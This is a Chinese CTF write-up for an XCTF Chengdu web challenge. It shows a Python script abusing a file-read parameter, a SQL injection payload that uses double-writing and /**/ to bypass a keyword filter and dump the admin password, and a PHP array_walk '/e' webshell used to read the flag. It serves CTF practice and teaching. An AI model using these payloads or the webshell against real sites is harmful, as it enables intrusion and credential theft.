码迷,mamicode.com
首页 > 其他好文 > 详细

XCTF-成都

时间:2019-04-08 01:12:41      阅读:223      评论:0      收藏:0      [点我收藏+]

标签:php   %s   else   ima   密码   nes   name   port   set   

  技术图片

下面有一个输入框,在输入框中输入一些SQL语句之后发现没什么用,感觉是需要用SQL注入的方法,但是这么一看应该不是在这里用。在搜索框中又输入1。

技术图片

这里需要修改user-Agent 但是不知道这里伪造的浏览器是什么,所以暂时先放一下。

点开首页有一个说明CMS。

技术图片

 

这里说明了这个网站存在的一些文件。index.php/config.php/passencode.php 还有一个admin表单结构。因此确定了大的方向就是SQL注入。

进入index.php文件看一下

这段代码中还发现了antixss.antinjection即反xss,反SQL注入机制。但存在一个目录列表.about.php

技术图片

这个网站如何登陆到管理员界面是一个障碍。用Python把文件目录下载出来,因为有一些文件可能被隐藏了。

# -*- coding: utf-8 -*-
import requests
import HTMLParser
import codecs

URL = http://cms.nuptzj.cn/about.php?file=%s
FILE_LIST = [index.php,say.php,so.php,preview.php,about.php,antiinject.php,antixss.php]
h=HTMLParser.HTMLParser()

for f in FILE_LIST:
    print [+] Processing file: + f + ...
    res = requests.get(URL % f)
    if res.status_code == 200:
        res.encoding = utf-8

        with codecs.open(f,w+,utf-8) as handle:
            print done
            text = h.unescape(res.text)
            handle.write(text)

读取一下about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php
 $file=$_GET[‘file‘];
 if($file=="" || strstr($file,‘config.php‘))
{ echo "file参数不能为空!"; exit(); }
else
{ $cut=strchr($file,"loginxlcteam"); 
if($cut==false){ $data=file_get_contents($file); 
$date=htmlspecialchars($data); echo $date; }
else
{ echo "<script>alert(‘敏感目录,禁止查看!但是。。。‘)</script>"; } }

发现有一个loginxlcteam.php被隐藏了,这个就是我们要找的登陆界面。

技术图片

看到了登陆页面,试了一下弱类型。用户名admin,admin ‘ or ‘1‘ = ‘1 #发现都没成功。

在刚才py爬取到的目录中,有一个aitiinjection文件,这个应该是一个反SQL注入的代码,点进去看看。

<?php function antiinject($content){ $keyword=array("select","union","and","from",‘ ‘,"‘",";",‘"‘,"char","or","count","master","name","pass","admin","+","-","order","=");
 $info=strtolower($content);
 for($i=0;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], ‘‘,$info); }
 return $info; } ?>

发现这里过滤了注入常用的select,union等字符,因此可用双写,/**/等特殊字符绕过。

技术图片

发现这里是可以进行绕过的。

因为之前题目中有一个环节已经给出了数据库结构,所以直接可以进行注入得到密码。

soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

得到admin对应的密码。

102 117 99 107 114 117 110 116 117

这一串数字如果对于程序稍了解一些的话就应该可以猜测这是一串ASCII编码,数字对应字符解码后。

密码:fuckruntu

换到刚才的登陆界面。

用户名:admin

密码:fuckruntu

技术图片

按提示把源码下载出来。

<?php
$e = $_REQUEST[‘www‘];
$arr = array($_POST[‘wtf‘] => ‘|.*|e‘,);
array_walk($arr, $e, ‘‘);
?>

代码的大概意思就是用www作为参数,替换原有参数进行操作。就是呃。。。像这样

技术图片

 

wtf作为实际参数进行文件读写。了解了工作原理,查看一下后台文件。

技术图片

虽然出现了乱码,但还是能猜测到最后一个文件应该是关于flag的文件,换编辑器打开这个文件。

技术图片

最后进入这个文件,得到答案。

技术图片

 

这个题作为压轴题在比赛中非常的综合,不得不佩服长亭科技出题的能力。

XCTF-成都

标签:php   %s   else   ima   密码   nes   name   port   set   

原文地址:https://www.cnblogs.com/sylover/p/10668224.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!